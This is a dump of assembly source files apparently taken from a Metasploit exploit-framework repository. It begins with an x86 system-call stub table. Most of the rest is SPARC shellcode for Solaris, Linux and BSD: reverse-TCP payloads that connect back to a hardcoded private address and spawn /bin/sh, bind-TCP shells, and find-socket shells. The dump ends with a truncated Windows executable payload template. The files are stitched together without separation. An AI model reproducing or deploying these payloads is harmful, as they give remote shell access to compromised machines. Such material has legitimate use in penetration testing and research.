.globl sgetmask .align 4 sgetmask: pop %edx /* save return address */ push $68 call syscall add $4, %esp push %edx ret .text .type ssetmask, @function .globl ssetmask .align 4 ssetmask: pop %edx /* save return address */ push $69 call syscall add $4, %esp push %edx ret .text .type setreuid, @function .globl setreuid .align 4 setreuid: pop %edx /* save return address */ push $70 call syscall add $4, %esp push %edx ret .text .type setregid, @function .globl setregid .align 4 setregid: pop %edx /* save return address */ push $71 call syscall add $4, %esp push %edx ret .text .type sigsuspend, @function .globl sigsuspend .align 4 sigsuspend: pop %edx /* save return address */ push $72 call syscall add $4, %esp push %edx ret .text .type sigpending, @function .globl sigpending .align 4 sigpending: pop %edx /* save return address */ push $73 call syscall add $4, %esp push %edx ret .text .type sethostname, @function .globl sethostname .align 4 sethostname: pop %edx /* save return address */ push $74 call syscall add $4, %esp push %edx ret .text .type setrlimit, @function .globl setrlimit .align 4 setrlimit: pop %edx /* save return address */ push $75 call syscall add $4, %esp push %edx ret .text .type oldgetrlimit, @function .globl oldgetrlimit .align 4 oldgetrlimit: pop %edx /* save return address */ push $76 call syscall add $4, %esp push %edx ret .text .type getrusage, @function .globl getrusage .align 4 getrusage: pop %edx /* save return address */ push $77 call syscall add $4, %esp push %edx ret .text .type gettimeofday, @function .globl gettimeofday .align 4 gettimeofday: pop %edx /* save return address */ push $78 call syscall add $4, %esp push %edx ret .text .type settimeofday, @function .globl settimeofday .align 4 settimeofday: pop %edx /* save return address */ push $79 call syscall add $4, %esp push %edx ret .text .type getgroups, @function .globl getgroups .align 4 getgroups: pop %edx /* save return address */ push $80 call syscall add $4, %esp push %edx ret .text .type setgroups, @function .globl setgroups .align 4 setgroups: pop %edx /* save return address */ push $81 call syscall add $4, %esp push %edx ret .text .type select, @function .globl select .align 4 select: pop %edx /* save return address */ push $82 call syscall add $4, %esp push %edx ret .text .type symlink, @function .globl symlink .align 4 symlink: pop %edx /* save return address */ push $83 call syscall add $4, %esp push %edx ret .text .type oldlstat, @function .globl oldlstat .align 4 oldlstat: pop %edx /* save return address */ push $84 call syscall add $4, %esp push %edx ret .text .type readlink, @function .globl readlink .align 4 readlink: pop %edx /* save return address */ push $85 call syscall add $4, %esp push %edx ret .text .type uselib, @function .globl uselib .align 4 uselib: pop %edx /* save return address */ push $86 call syscall add $4, %esp push %edx ret .text .type swapon, @function .globl swapon .align 4 swapon: pop %edx /* save return address */ push $87 call syscall add $4, %esp push %edx ret .text .type reboot, @function .globl reboot .align 4 reboot: pop %edx /* save return address */ push $88 call syscall add $4, %esp push %edx ret .text .type readdir, @function .globl readdir .align 4 readdir: pop %edx /* save return address */ push $89 call syscall add $4, %esp push %edx ret .text .type oldmmap, @function .globl oldmmap .align 4 oldmmap: pop %edx /* save return address */ push $90 call syscall add $4, %esp push %edx ret .text .type munmap, @function .globl munmap .align 4 munmap: pop %edx /* save return address */ push $91 call syscall add $4, %esp push %edx ret .text .type truncate, @function .globl truncate .align 4 truncate: pop %edx /* save return address */ push $92 call syscall add $4, %esp push %edx ret .text .type ftruncate, @function .globl ftruncate .align 4 ftruncate: pop %edx /* save return address */ push $93 call syscall add $4, %esp push %edx ret .text .type fchmod, @function .globl fchmod .align 4 fchmod: pop %edx /* save return address */ push $94 call syscall add $4, %esp push %edx ret .text .type fchown, @function .globl fchown .align 4 fchown: pop %edx /* save return address */ push $95 call syscall add $4, %esp push %edx ret .text .type getpriority, @function .globl getpriority .align 4 getpriority: pop %edx /* save return address */ push $96 call syscall add $4, %esp push %edx ret .text .type setpriority, @function .globl setpriority .align 4 setpriority: pop %edx /* save return address */ push $97 call syscall add $4, %esp push %edx ret .text .type profil, @function .globl profil .align 4 profil: pop %edx /* save return address */ push $98 call syscall add $4, %esp push %edx ret .text .type statfs, @function .globl statfs .align 4 statfs: pop %edx /* save return address */ push $99 call syscall add $4, %esp push %edx ret .text .type fstatfs, @function .globl fstatfs .align 4 fstatfs: pop %edx /* save return address */ push $100 call syscall add $4, %esp push %edx ret .text .type ioperm, @function .globl ioperm .align 4 ioperm: pop %edx /* save return address */ push $101 call syscall add $4, %esp push %edx ret .text .type socketcall, @function .globl socketcall .align 4 socketcall: pop %edx /* save return address */ push $102 call syscall add $4, %esp push %edx ret .text .type syslog, @function .globl syslog .align 4 syslog: pop %edx /* save return address */ push $103 call syscall add $4, %esp push %edx ret .text .type setitimer, @function .globl setitimer .align 4 setitimer: pop %edx /* save return address */ push $104 call syscall add $4, %esp push %edx ret .text .type getitimer, @function .globl getitimer .align 4 getitimer: pop %edx /* save return address */ push $105 call syscall add $4, %esp push %edx ret .text .type stat, @function .globl stat .align 4 stat: pop %edx /* save return address */ push $106 call syscall add $4, %esp push %edx ret .text .type lstat, @function .globl lstat .align 4 lstat: pop %edx /* save return address */ push $107 call syscall add $4, %esp push %edx ret .text .type fstat, @function .globl fstat .align 4 fstat: pop %edx /* save return address */ push $108 call syscall add $4, %esp push %edx ret .text .type olduname, @function .globl olduname .align 4 olduname: pop %edx /* save return address */ push $109 call syscall add $4, %esp push %edx ret .text .type iopl, @function .globl iopl .align 4 iopl: pop %edx /* save return address */ push $110 call syscall add $4, %esp push %edx ret .text .type vhangup, @function .globl vhangup .align 4 vhangup: pop %edx /* save return address */ push $111 call syscall add $4, %esp push %edx ret .text .type idle, @function .globl idle .align 4 idle: pop %edx /* save return address */ push $112 call syscall add $4, %esp push %edx ret .text .type vm86old, @function .globl vm86old .align 4 vm86old: pop %edx /* save return address */ push $113 call syscall add $4, %esp push %edx ret .text .type wait4, @function .globl wait4 .align 4 wait4: pop %edx /* save return address */ push $114 call syscall add $4, %esp push %edx ret .text .type swapoff, @function .globl swapoff .align 4 swapoff: pop %edx /* save return address */ push $115 call syscall add $4, %esp push %edx ret .text .type sysinfo, @function .globl sysinfo .align 4 sysinfo: pop %edx /* save return address */ push $116 call syscall add $4, %esp push %edx ret .text .type ipc, @function .globl ipc .align 4 ipc: pop %edx /* save return address */ push $117 call syscall add $4, %esp push %edx ret .text .type fsync, @function .globl fsync .align 4 fsync: pop %edx /* save return address */ push $118 call syscall add $4, %esp push %edx ret .text .type sigreturn, @function .globl sigreturn .align 4 sigreturn: pop %edx /* save return address */ push $119 call syscall add $4, %esp push %edx ret .text .type clone, @function .globl clone .align 4 clone: pop %edx /* save return address */ push $120 call syscall add $4, %esp push %edx ret .text .type setdomainname, @function .globl setdomainname .align 4 setdomainname: pop %edx /* save return address */ push $121 call syscall add $4, %esp push %edx ret .text .type uname, @function .globl uname .align 4 uname: pop %edx /* save return address */ push $122 call syscall add $4, %esp push %edx ret .text .type modify_ldt, @function .globl modify_ldt .align 4 modify_ldt: pop %edx /* save return address */ push $123 call syscall add $4, %esp push %edx ret .text .type adjtimex, @function .globl adjtimex .align 4 adjtimex: pop %edx /* save return address */ push $124 call syscall add $4, %esp push %edx ret .text .type mprotect, @function .globl mprotect .align 4 mprotect: pop %edx /* save return address */ push $125 call syscall add $4, %esp push %edx ret .text .type sigprocmask, @function .globl sigprocmask .align 4 sigprocmask: pop %edx /* save return address */ push $126 call syscall add $4, %esp push %edx ret .text .type create_module, @function .globl create_module .align 4 create_module: pop %edx /* save return address */ push $127 call syscall add $4, %esp push %edx ret .text .type init_module, @function .globl init_module .align 4 init_module: pop %edx /* save return address */ push $128 call syscall add $4, %esp push %edx ret .text .type delete_module, @function .globl delete_module .align 4 delete_module: pop %edx /* save return address */ push $129 call syscall add $4, %esp push %edx ret .text .type get_kernel_syms, @function .globl get_kernel_syms .align 4 get_kernel_syms: pop %edx /* save return address */ push $130 call syscall add $4, %esp push %edx ret .text .type quotactl, @function .globl quotactl .align 4 quotactl: pop %edx /* save return address */ push $131 call syscall add $4, %esp push %edx ret .text .type getpgid, @function .globl getpgid .align 4 getpgid: pop %edx /* save return address */ push $132 call syscall add $4, %esp push %edx ret .text .type fchdir, @function .globl fchdir .align 4 fchdir: pop %edx /* save return address */ push $133 call syscall add $4, %esp push %edx ret .text .type bdflush, @function .globl bdflush .align 4 bdflush: pop %edx /* save return address */ push $134 call syscall add $4, %esp push %edx ret .text .type sysfs, @function .globl sysfs .align 4 sysfs: pop %edx /* save return address */ push $135 call syscall add $4, %esp push %edx ret .text .type personality, @function .globl personality .align 4 personality: pop %edx /* save return address */ push $136 call syscall add $4, %esp push %edx ret .text .type afs_syscall, @function .globl afs_syscall .align 4 afs_syscall: pop %edx /* save return address */ push $137 call syscall add $4, %esp push %edx ret .text .type setfsuid, @function .globl setfsuid .align 4 setfsuid: pop %edx /* save return address */ push $138 call syscall add $4, %esp push %edx ret .text .type setfsgid, @function .globl setfsgid .align 4 setfsgid: pop %edx /* save return address */ push $139 call syscall add $4, %esp push %edx ret .text .type _llseek, @function .globl _llseek .align 4 _llseek: pop %edx /* save return address */ push $140 call syscall add $4, %esp push %edx ret .text .type getdents, @function .globl getdents .align 4 getdents: pop %edx /* save return address */ push $141 call syscall add $4, %esp push %edx ret .text .type _newselect, @function .globl _newselect .align 4 _newselect: pop %edx /* save return address */ push $142 call syscall add $4, %esp push %edx ret .text .type flock, @function .globl flock .align 4 flock: pop %edx /* save return address */ push $143 call syscall add $4, %esp push %edx ret .text .type msync, @function .globl msync .align 4 msync: pop %edx /* save return address */ push $144 call syscall add $4, %esp push %edx ret .text .type readv, @function .globl readv .align 4 readv: pop %edx /* save return address */ push $145 call syscall add $4, %esp push %edx ret .text .type writev, @function .globl writev .align 4 writev: pop %edx /* save return address */ push $146 call syscall add $4, %esp push %edx ret .text .type getsid, @function .globl getsid .align 4 getsid: pop %edx /* save return address */ push $147 call syscall add $4, %esp push %edx ret .text .type fdatasync, @function .globl fdatasync .align 4 fdatasync: pop %edx /* save return address */ push $148 call syscall add $4, %esp push %edx ret .text .type _sysctl, @function .globl _sysctl .align 4 _sysctl: pop %edx /* save return address */ push $149 call syscall add $4, %esp push %edx ret .text .type mlock, @function .globl mlock .align 4 mlock: pop %edx /* save return address */ push $150 call syscall add $4, %esp push %edx ret .text .type munlock, @function .globl munlock .align 4 munlock: pop %edx /* save return address */ push $151 call syscall add $4, %esp push %edx ret .text .type mlockall, @function .globl mlockall .align 4 mlockall: pop %edx /* save return address */ push $152 call syscall add $4, %esp push %edx ret .text .type munlockall, @function .globl munlockall .align 4 munlockall: pop %edx /* save return address */ push $153 call syscall add $4, %esp push %edx ret .text .type sched_setparam, @function .globl sched_setparam .align 4 sched_setparam: pop %edx /* save return address */ push $154 call syscall add $4, %esp push %edx ret .text .type sched_getparam, @function .globl sched_getparam .align 4 sched_getparam: pop %edx /* save return address */ push $155 call syscall add $4, %esp push %edx ret .text .type sched_setscheduler, @function .globl sched_setscheduler .align 4 sched_setscheduler: pop %edx /* save return address */ push $156 call syscall add $4, %esp push %edx ret .text .type sched_getscheduler, @function .globl sched_getscheduler .align 4 sched_getscheduler: pop %edx /* save return address */ push $157 call syscall add $4, %esp push %edx ret .text .type sched_yield, @function .globl sched_yield .align 4 sched_yield: pop %edx /* save return address */ push $158 call syscall add $4, %esp push %edx ret .text .type sched_get_priority_max, @function .globl sched_get_priority_max .align 4 sched_get_priority_max: pop %edx /* save return address */ push $159 call syscall add $4, %esp push %edx ret .text .type sched_get_priority_min, @function .globl sched_get_priority_min .align 4 sched_get_priority_min: pop %edx /* save return address */ push $160 call syscall add $4, %esp push %edx ret .text .type sched_rr_get_interval, @function .globl sched_rr_get_interval .align 4 sched_rr_get_interval: pop %edx /* save return address */ push $161 call syscall add $4, %esp push %edx ret .text .type nanosleep, @function .globl nanosleep .align 4 nanosleep: pop %edx /* save return address */ push $162 call syscall add $4, %esp push %edx ret .text .type mremap, @function .globl mremap .align 4 mremap: pop %edx /* save return address */ push $163 call syscall add $4, %esp push %edx ret .text .type setresuid, @function .globl setresuid .align 4 setresuid: pop %edx /* save return address */ push $164 call syscall add $4, %esp push %edx ret .text .type getresuid, @function .globl getresuid .align 4 getresuid: pop %edx /* save return address */ push $165 call syscall add $4, %esp push %edx ret .text .type vm86, @function .globl vm86 .align 4 vm86: pop %edx /* save return address */ push $166 call syscall add $4, %esp push %edx ret .text .type query_module, @function .globl query_module .align 4 query_module: pop %edx /* save return address */ push $167 call syscall add $4, %esp push %edx ret .text .type poll, @function .globl poll .align 4 poll: pop %edx /* save return address */ push $168 call syscall add $4, %esp push %edx ret .text .type nfsservctl, @function .globl nfsservctl .align 4 nfsservctl: pop %edx /* save return address */ push $169 call syscall add $4, %esp push %edx ret .text .type setresgid, @function .globl setresgid .align 4 setresgid: pop %edx /* save return address */ push $170 call syscall add $4, %esp push %edx ret .text .type getresgid, @function .globl getresgid .align 4 getresgid: pop %edx /* save return address */ push $171 call syscall add $4, %esp push %edx ret .text .type prctl, @function .globl prctl .align 4 prctl: pop %edx /* save return address */ push $172 call syscall add $4, %esp push %edx ret .text .type rt_sigreturn, @function .globl rt_sigreturn .align 4 rt_sigreturn: pop %edx /* save return address */ push $173 call syscall add $4, %esp push %edx ret .text .type rt_sigaction, @function .globl rt_sigaction .align 4 rt_sigaction: pop %edx /* save return address */ push $174 call syscall add $4, %esp push %edx ret .text .type rt_sigprocmask, @function .globl rt_sigprocmask .align 4 rt_sigprocmask: pop %edx /* save return address */ push $175 call syscall add $4, %esp push %edx ret .text .type rt_sigpending, @function .globl rt_sigpending .align 4 rt_sigpending: pop %edx /* save return address */ push $176 call syscall add $4, %esp push %edx ret .text .type rt_sigtimedwait, @function .globl rt_sigtimedwait .align 4 rt_sigtimedwait: pop %edx /* save return address */ push $177 call syscall add $4, %esp push %edx ret .text .type rt_sigqueueinfo, @function .globl rt_sigqueueinfo .align 4 rt_sigqueueinfo: pop %edx /* save return address */ push $178 call syscall add $4, %esp push %edx ret .text .type rt_sigsuspend, @function .globl rt_sigsuspend .align 4 rt_sigsuspend: pop %edx /* save return address */ push $179 call syscall add $4, %esp push %edx ret .text .type pread, @function .globl pread .align 4 pread: pop %edx /* save return address */ push $180 call syscall add $4, %esp push %edx ret .text .type pwrite, @function .globl pwrite .align 4 pwrite: pop %edx /* save return address */ push $181 call syscall add $4, %esp push %edx ret .text .type chown, @function .globl chown .align 4 chown: pop %edx /* save return address */ push $182 call syscall add $4, %esp push %edx ret .text .type getcwd, @function .globl getcwd .align 4 getcwd: pop %edx /* save return address */ push $183 call syscall add $4, %esp push %edx ret .text .type capget, @function .globl capget .align 4 capget: pop %edx /* save return address */ push $184 call syscall add $4, %esp push %edx ret .text .type capset, @function .globl capset .align 4 capset: pop %edx /* save return address */ push $185 call syscall add $4, %esp push %edx ret .text .type sigaltstack, @function .globl sigaltstack .align 4 sigaltstack: pop %edx /* save return address */ push $186 call syscall add $4, %esp push %edx ret .text .type sendfile, @function .globl sendfile .align 4 sendfile: pop %edx /* save return address */ push $187 call syscall add $4, %esp push %edx ret .text .type getpmsg, @function .globl getpmsg .align 4 getpmsg: pop %edx /* save return address */ push $188 call syscall add $4, %esp push %edx ret .text .type putpmsg, @function .globl putpmsg .align 4 putpmsg: pop %edx /* save return address */ push $189 call syscall add $4, %esp push %edx ret .text .type vfork, @function .globl vfork .align 4 vfork: pop %edx /* save return address */ push $190 call syscall add $4, %esp push %edx ret .text .type getrlimit, @function .globl getrlimit .align 4 getrlimit: pop %edx /* save return address */ push $191 call syscall add $4, %esp push %edx ret .text .type mmap, @function .globl mmap .align 4 mmap: pop %edx /* save return address */ push $192 call syscall add $4, %esp push %edx ret .text .type set_thread_area, @function .globl set_thread_area .align 4 set_thread_area: pop %edx /* save return address */ push $243 call syscall add $4, %esp push %edx ret
OpenWireSec/metasploit
1,063
external/source/shellcode/solaris/sparc/single_reverse_tcp.s
## # # Name: single_reverse_tcp # Platforms: Solaris # Authors: vlad902 <vlad902 [at] gmail.com> # Version: $Revision: 1666 $ # License: # # This file is part of the Metasploit Exploit Framework # and is subject to the same licenses and copyrights as # the rest of this package. # # Description: # # Single reverse TCP shell. # ## .globl main main: andn %sp, 7, %sp mov 1, %o4 xor %o3, %o3, %o3 xor %o3, %o3, %o2 mov 0x02, %o1 mov 0x02, %o0 mov 0xe6, %g1 ta 0x08 st %o0, [ %sp - 0x08 ] mov 3, %o2 fcntl_loop: mov 9, %o1 subcc %o2, 1, %o2 mov 0x3e, %g1 ta 0x08 bnz fcntl_loop ld [ %sp - 0x08 ], %o0 #ifndef NO_NULLS set 0x00027a68, %l0 #else set 0x27a68fff, %l0 srl %l0, 12, %l0 #endif set 0xc0a8020a, %l1 std %l0, [ %sp - 0x10 ] sub %sp, 16, %o1 mov 0x10, %o2 mov 0xeb, %g1 ta 0x08 xor %o3, %o3, %o2 set 0x2f62696e, %l0 set 0x2f736800, %l1 sub %sp, 0x10, %o0 sub %sp, 0x08, %o1 std %l0, [ %sp - 0x10 ] st %o0, [ %sp - 0x08 ] st %g0, [ %sp - 0x04 ] mov 0x3b, %g1 ta 0x08
OpenWireSec/metasploit
1,077
external/source/shellcode/solaris/sparc/single_findsock.s
## # # Name: single_findsock # Platforms: Solaris # Authors: vlad902 <vlad902 [at] gmail.com> # Version: $Revision: 1991 $ # License: # # This file is part of the Metasploit Exploit Framework # and is subject to the same licenses and copyrights as # the rest of this package. # # Description: # # Search file descriptors based on source port. # ## .globl main main: # l6 is set here with the port set 50505, %l6 andn %sp, 7, %sp xor %o2, %o2, %o0 st %o0, [ %sp - 0x18 ] getpeername_loop: add %o0, 1, %o0 and %o0, 4095, %o0 mov 0x10, %o1 std %o0, [ %sp - 0x08 ] sub %sp, 0x04, %o2 sub %sp, 0x18, %o1 mov 243, %g1 ta 0x08 mov 3, %o2 lduh [ %sp - 0x16 ], %l5 xorcc %l5, %l6, %i5 bnz getpeername_loop fcntl_loop: ld [ %sp - 0x08 ], %o0 mov 9, %o1 subcc %o2, 1, %o2 mov 0x3e, %g1 ta 0x08 bnz fcntl_loop xor %o3, %o3, %o3 set 0x2f62696e, %l0 set 0x2f736800, %l1 sub %sp, 0x10, %o0 sub %sp, 0x08, %o1 std %l0, [ %sp - 0x10 ] st %o0, [ %sp - 0x08 ] st %g0, [ %sp - 0x04 ] mov 0x3b, %g1 ta 0x08
OpenWireSec/metasploit
1,233
external/source/shellcode/solaris/sparc/single_bind_tcp.s
## # # Name: single_bind_tcp # Platforms: Solaris # Authors: vlad902 <vlad902 [at] gmail.com> # Version: $Revision: 1666 $ # License: # # This file is part of the Metasploit Exploit Framework # and is subject to the same licenses and copyrights as # the rest of this package. # # Description: # # Single bind TCP shell. # ## .globl main main: andn %sp, 7, %sp mov 1, %o4 xor %o3, %o3, %o3 xor %o3, %o3, %o2 mov 0x02, %o1 mov 0x02, %o0 mov 0xe6, %g1 ta 0x08 st %o0, [ %sp - 0x08 ] #ifndef NO_NULLS set 0x00027a68, %l0 #else set 0x27a68fff, %l0 srl %l0, 12, %l0 #endif st %l0, [ %sp - 0x10 ] st %g0, [ %sp - 0x0c ] sub %sp, 16, %o1 mov 0x10, %o2 mov 0xe8, %g1 ta 0x08 ld [ %sp - 0x08 ], %o0 mov 0x01, %o1 mov 0xe9, %g1 ta 0x08 ld [ %sp - 0x08 ], %o0 xor %o1, %o1, %o1 or %o1, %o1, %o2 mov 0xea, %g1 ta 0x08 st %o0, [ %sp - 0x08 ] mov 3, %o2 fcntl_loop: mov 9, %o1 subcc %o2, 1, %o2 mov 0x3e, %g1 ta 0x08 bnz fcntl_loop ld [ %sp - 0x08 ], %o0 xor %o3, %o3, %o2 set 0x2f62696e, %l0 set 0x2f736800, %l1 sub %sp, 0x10, %o0 sub %sp, 0x08, %o1 std %l0, [ %sp - 0x10 ] st %o0, [ %sp - 0x08 ] st %g0, [ %sp - 0x04 ] mov 0x3b, %g1 ta 0x08
OpenWireSec/metasploit
1,108
external/source/shellcode/linux/sparc/single_reverse_tcp.s
## # # Name: single_reverse_tcp # Platforms: Linux # Authors: vlad902 <vlad902 [at] gmail.com> # Version: $Revision: 1652 $ # License: # # This file is part of the Metasploit Exploit Framework # and is subject to the same licenses and copyrights as # the rest of this package. # # Description: # # Single reverse TCP shell. # ## .globl main main: andn %sp, 7, %sp mov 1, %o0 mov 2, %l0 st %l0, [ %sp - 0x0c ] st %o0, [ %sp - 0x08 ] st %g0, [ %sp - 0x04 ] sub %sp, 0x0c, %o1 mov 0xce, %g1 ta 0x10 sub %sp, 0x20, %l2 mov 0x10, %l3 st %o0, [ %sp - 0x0c ] std %l3, [ %sp - 0x08 ] #ifndef NO_NULLS set 0x00027a68, %l4 #else set 0x27a68fff, %l4 srl %l4, 12, %l4 #endif set 0xc0a8000a, %l5 std %l4, [ %sp - 0x20 ] mov 3, %o0 ta 0x10 mov 3, %o1 dup2_loop: subcc %o1, 1, %o1 mov 0x5a, %g1 ta 0x10 bnz dup2_loop ld [ %sp - 0x0c ], %o0 xor %o3, %o3, %o2 set 0x2f62696e, %l0 set 0x2f736800, %l1 sub %sp, 0x10, %o0 sub %sp, 0x08, %o1 std %l0, [ %sp - 0x10 ] st %o0, [ %sp - 0x08 ] st %g0, [ %sp - 0x04 ] mov 0x3b, %g1 ta 0x08
OpenWireSec/metasploit
1,120
external/source/shellcode/linux/sparc/single_findsock.s
## # # Name: single_findsock # Platforms: Linux # Authors: vlad902 <vlad902 [at] gmail.com> # Version: $Revision: 1991 $ # License: # # This file is part of the Metasploit Exploit Framework # and is subject to the same licenses and copyrights as # the rest of this package. # # Description: # # Search file descriptors based on source port. # ## .globl main main: # l6 is set here with the port set 50505, %l6 andn %sp, 7, %sp xor %o2, %o2, %o0 st %o0, [ %sp - 0x20 ] getpeername_loop: add %o0, 1, %o0 and %o0, 4095, %o0 mov 0x10, %o3 sub %sp, 0x04, %o2 sub %sp, 0x20, %o1 std %o0, [ %sp - 0x10 ] std %o2, [ %sp - 0x08 ] sub %sp, 0x10, %o1 mov 7, %o0 mov 0xce, %g1 ta 0x10 mov 3, %o1 lduh [ %sp - 0x1e ], %l5 xorcc %l5, %l6, %i5 bnz getpeername_loop dup2_loop: ld [ %sp - 0x10 ], %o0 subcc %o1, 1, %o1 mov 0x5a, %g1 ta 0x10 bnz dup2_loop xor %o3, %o3, %o3 set 0x2f62696e, %l0 set 0x2f736800, %l1 sub %sp, 0x10, %o0 sub %sp, 0x08, %o1 std %l0, [ %sp - 0x10 ] st %o0, [ %sp - 0x08 ] st %g0, [ %sp - 0x04 ] mov 0x3b, %g1 ta 0x08
OpenWireSec/metasploit
1,252
external/source/shellcode/linux/sparc/single_bind_tcp.s
## # # Name: single_bind_tcp # Platforms: Linux # Authors: vlad902 <vlad902 [at] gmail.com> # Version: $Revision: 1652 $ # License: # # This file is part of the Metasploit Exploit Framework # and is subject to the same licenses and copyrights as # the rest of this package. # # Description: # # Single bind TCP shell. # ## .globl main main: andn %sp, 7, %sp mov 2, %l0 mov 1, %o0 st %l0, [ %sp - 0x0c ] st %o0, [ %sp - 0x08 ] st %g0, [ %sp - 0x04 ] sub %sp, 0x0c, %o1 mov 0xce, %g1 ta 0x10 sub %sp, 0x20, %l2 mov 0x10, %l3 st %o0, [ %sp - 0x0c ] std %l3, [ %sp - 0x08 ] #ifndef NO_NULLS set 0x00027a68, %l4 #else set 0x27a68fff, %l4 srl %l4, 12, %l4 #endif xor %l5, %l5, %l5 std %l4, [ %sp - 0x20 ] mov 2, %o0 ta 0x10 mov 1, %l1 st %l1, [ %sp - 0x08 ] mov 4, %o0 ta 0x10 st %g0, [ %sp - 0x08 ] st %g0, [ %sp - 0x04 ] mov 5, %o0 ta 0x10 st %o0, [ %sp - 0x0c ] mov 3, %o1 dup2_loop: subcc %o1, 1, %o1 mov 0x5a, %g1 ta 0x10 bnz dup2_loop ld [ %sp - 0x0c ], %o0 xor %o3, %o3, %o2 set 0x2f62696e, %l0 set 0x2f736800, %l1 sub %sp, 0x10, %o0 sub %sp, 0x08, %o1 std %l0, [ %sp - 0x10 ] st %o0, [ %sp - 0x08 ] st %g0, [ %sp - 0x04 ] mov 0x3b, %g1 ta 0x08
OpenWireSec/metasploit
1,116
external/source/shellcode/bsd/sparc/single_bind_tcp.s
## # # Name: single_bind_tcp # Platforms: *BSD # Authors: vlad902 <vlad902 [at] gmail.com> # Version: $Revision: 1652 $ # License: # # This file is part of the Metasploit Exploit Framework # and is subject to the same licenses and copyrights as # the rest of this package. # # Description: # # Single bind TCP shell. # ## .globl main main: andn %sp, 7, %sp xor %o3, %o3, %o2 mov 0x01, %o1 mov 0x02, %o0 mov 0x61, %g1 ta 0x08 st %o0, [ %sp - 0x08 ] set 0xff027a68, %l0 st %l0, [ %sp - 0x10 ] st %g0, [ %sp - 0x0c ] sub %sp, 16, %o1 mov 0x10, %o2 mov 0x68, %g1 ta 0x08 ld [ %sp - 0x08 ], %o0 mov 0x01, %o1 mov 0x6a, %g1 ta 0x08 ld [ %sp - 0x08 ], %o0 xor %o1, %o1, %o1 or %o1, %o1, %o2 mov 0x1e, %g1 ta 0x08 st %o0, [ %sp - 0x08 ] mov 3, %o1 dup2_loop: subcc %o1, 1, %o1 mov 0x5a, %g1 ta 0x08 bnz dup2_loop ld [ %sp - 0x08 ], %o0 xor %o3, %o3, %o2 set 0x2f62696e, %l0 set 0x2f736800, %l1 sub %sp, 0x10, %o0 sub %sp, 0x08, %o1 std %l0, [ %sp - 0x10 ] st %o0, [ %sp - 0x08 ] st %g0, [ %sp - 0x04 ] mov 0x3b, %g1 ta 0x08
OpenWireSec/metasploit
13,203
data/templates/src/pe/exe/template.s
.section .data .globl _code _code: xorl %ecx,%ecx xorl %ecx,%ecx xorl %ecx,%ecx xorl %ecx,%ecx xorl %ecx,%ecx xorl %ecx,%ecx xorl %ecx,%ecx xorl %ecx,%ecx xorl %ecx,%ecx xorl %ecx,%ecx xorl %ecx,%ecx xorl %ecx,%ecx xorl %ecx,%ecx xorl %ecx,%ecx xorl %ecx,%ecx xorl %ecx,%ecx xorl %ecx,%ecx xorl %ecx,%ecx xorl %ecx,%ecx xorl %ecx,%ecx xorl %ecx,%ecx xorl %ecx,%ecx xorl %ecx,%ecx xorl %ecx,%ecx xorl %ecx,%ecx xorl %ecx,%ecx xorl %ecx,%ecx xorl %ecx,%ecx xorl %ecx,%ecx xorl %ecx,%ecx xorl %ecx,%ecx xorl %ecx,%ecx xorl %ecx,%ecx xorl %ecx,%ecx xorl %ecx,%ecx xorl %ecx,%ecx xorl %ecx,%ecx xorl %ecx,%ecx xorl %ecx,%ecx xorl %ecx,%ecx xorl %ecx,%ecx xorl %ecx,%ecx xorl %ecx,%ecx xorl %ecx,%ecx xorl %ecx,%ecx xorl %ecx,%ecx xorl %ecx,%ecx xorl %ecx,%ecx xorl %ecx,%ecx xorl %ecx,%ecx xorl %ecx,%ecx xorl %ecx,%ecx xorl %ecx,%ecx xorl %ecx,%ecx xorl %ecx,%ecx xorl %ecx,%ecx xorl %ecx,%ecx xorl %ecx,%ecx xorl %ecx,%ecx xorl %ecx,%ecx xorl %ecx,%ecx xorl %ecx,%ecx xorl %ecx,%ecx xorl %ecx,%ecx xorl %ecx,%ecx xorl %ecx,%ecx xorl %ecx,%ecx xorl %ecx,%ecx xorl %ecx,%ecx xorl %ecx,%ecx xorl %ecx,%ecx xorl %ecx,%ecx xorl %ecx,%ecx xorl %ecx,%ecx xorl %ecx,%ecx xorl %ecx,%ecx xorl %ecx,%ecx xorl %ecx,%ecx xorl %ecx,%ecx xorl %ecx,%ecx xorl %ecx,%ecx xorl %ecx,%ecx xorl %ecx,%ecx xorl %ecx,%ecx xorl %ecx,%ecx xorl %ecx,%ecx xorl %ecx,%ecx xorl %ecx,%ecx xorl %ecx,%ecx xorl %ecx,%ecx xorl %ecx,%ecx xorl %ecx,%ecx xorl %ecx,%ecx xorl %ecx,%ecx xorl %ecx,%ecx xorl %ecx,%ecx xorl %ecx,%ecx xorl %ecx,%ecx xorl %ecx,%ecx xorl %ecx,%ecx xorl %ecx,%ecx xorl %ecx,%ecx xorl %ecx,%ecx xorl %ecx,%ecx xorl %ecx,%ecx xorl %ecx,%ecx xorl %ecx,%ecx xorl %ecx,%ecx xorl %ecx,%ecx xorl %ecx,%ecx xorl %ecx,%ecx xorl %ecx,%ecx xorl %ecx,%ecx xorl %ecx,%ecx xorl %ecx,%ecx xorl %ecx,%ecx xorl %ecx,%ecx xorl %ecx,%ecx xorl %ecx,%ecx xorl %ecx,%ecx xorl %ecx,%ecx xorl %ecx,%ecx xorl %ecx,%ecx xorl %ecx,%ecx xorl %ecx,%ecx xorl %ecx,%ecx xorl %ecx,%ecx xorl %ecx,%ecx xorl %ecx,%ecx xorl %ecx,%ecx xorl %ecx,%ecx xorl %ecx,%ecx xorl %ecx,%ecx xorl %ecx,%ecx xorl %ecx,%ecx xorl %ecx,%ecx xorl %ecx,%ecx xorl %ecx,%ecx xorl %ecx,%ecx xorl %ecx,%ecx xorl %ecx,%ecx xorl %ecx,%ecx xorl %ecx,%ecx xorl %ecx,%ecx xorl %ecx,%ecx xorl %ecx,%ecx xorl %ecx,%ecx xorl %ecx,%ecx xorl %ecx,%ecx xorl %ecx,%ecx xorl %ecx,%ecx xorl %ecx,%ecx xorl %ecx,%ecx xorl %ecx,%ecx xorl %ecx,%ecx xorl %ecx,%ecx xorl %ecx,%ecx xorl %ecx,%ecx xorl %ecx,%ecx xorl %ecx,%ecx xorl %eax,%eax pushl $_ExitProcess@4 pushl %fs:(%eax) movl %esp,%fs:(%eax) .ascii 